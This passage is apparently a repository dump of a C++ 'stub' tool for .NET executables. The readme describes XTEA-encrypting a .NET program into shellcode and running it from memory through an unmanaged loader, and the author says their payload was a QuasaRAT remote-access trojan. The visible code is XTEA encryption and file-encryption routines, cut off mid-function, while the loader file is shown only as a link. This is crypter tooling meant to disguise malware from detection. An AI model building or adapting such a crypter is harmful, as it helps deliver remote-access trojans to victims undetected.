├── netstub.cpp ├── pch.h ├── readme.md └── xtea.cpp /netstub.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/freesoul/netstub/354005bfbbf4186b235fc8a75152a085de792bdd/netstub.cpp -------------------------------------------------------------------------------- /pch.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/freesoul/netstub/354005bfbbf4186b235fc8a75152a085de792bdd/pch.h -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | 2 | # Create C++ Stubs for .NET executables 3 | 4 | ## Motivation 5 | 6 | [Simple Xtea Crypter](https://github.com/NateBrune/Simple-XTEA-Crypter) shows how to cypher a PE file with Xtea and running it from memory in a C++ compiled program. However, this did not appear to work for .NET executables. 7 | 8 | 9 | ## Steps with references 10 | 11 | 1. Grabbed and used [Simple Xtea Crypter](https://github.com/NateBrune/Simple-XTEA-Crypter) code to create a Xtea cyphered PE shellcode. You can simply "gcc xtea -o xtea.exe" it. Then you drag your .NET PE into it, and shellcode.h will appear. 12 | 13 | Now, if you follow the steps described in that project with its runPE, it will just not work. Instead: 14 | 15 | 16 | 2. Grabbed, slightly modified, and used this code about [loading assembly code into a .NET environment with C++](https://www.codeproject.com/Articles/1236146/Protecting-NET-plus-Application-By-Cplusplus-Unman), and put the pieces together. Ah well, it did not work and I debugged to figure out that "SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);" was creating wrong arguments for the .NET application (which in my case was a QuasaRAT executable, which expects some args in its Main). So I researched how to construct correctly these argv and argc (found it in a web which I do not remember) and included it. 17 | 18 | 19 | 3. Make sure you compile netstub.cpp with x86 or x64 depending on the .NET PE. Ah yes, and I used MVS 2017, this would not work with gcc. 20 | 21 | 22 | Jean 09/2018 23 | -------------------------------------------------------------------------------- /xtea.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | 9 | unsigned int key[4]={0xAAAA,0xA123,0x3211,0x4444}; /* Chose a password in hex */ 10 | #define BLOCK_SIZE 8 /* Make sure you change both */ 11 | /* xtea.cpp and netstub.cpp */ 12 | /* 13 | XTea reference code taken from 14 | http://en.wikipedia.org/wiki/XTEA 15 | */ 16 | void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){ 17 | unsigned int i; 18 | uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; 19 | for (i=0; i < num_rounds; i++){ 20 | v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); 21 | sum += delta; 22 | v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); 23 | } 24 | v[0]=v0; v[1]=v1; 25 | } 26 | 27 | void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){ 28 | unsigned int i; 29 | uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; 30 | for (i=0; i < num_rounds; i++){ 31 | v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); 32 | sum -= delta; 33 | v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); 34 | } 35 | v[0]=v0; v[1]=v1; 36 | } 37 | 38 | void crypto(char filepath[] ,bool cipher){ 39 | fstream dat(filepath,ios::in | ios::out | ios::binary); //Open the file 40 | if(!dat){ 41 | cout << "I can not read from the file you provided. Sorry :\(" << endl; 42 | system("pause"); 43 | exit(-1); 44 | } 45 | 46 | unsigned size; 47 | 48 | dat.seekg(0,ios::end); 49 | size=dat.tellg(); 50 | dat.seekg(ios::beg); 51 | 52 | dat.clear(); 53 | 54 | unsigned pos; 55 | 56 | int n_blocks=size/BLOCK_SIZE; 57 | if(size%BLOCK_SIZE!=0) 58 | ++n_blocks; 59 | 60 | for(int i=0;i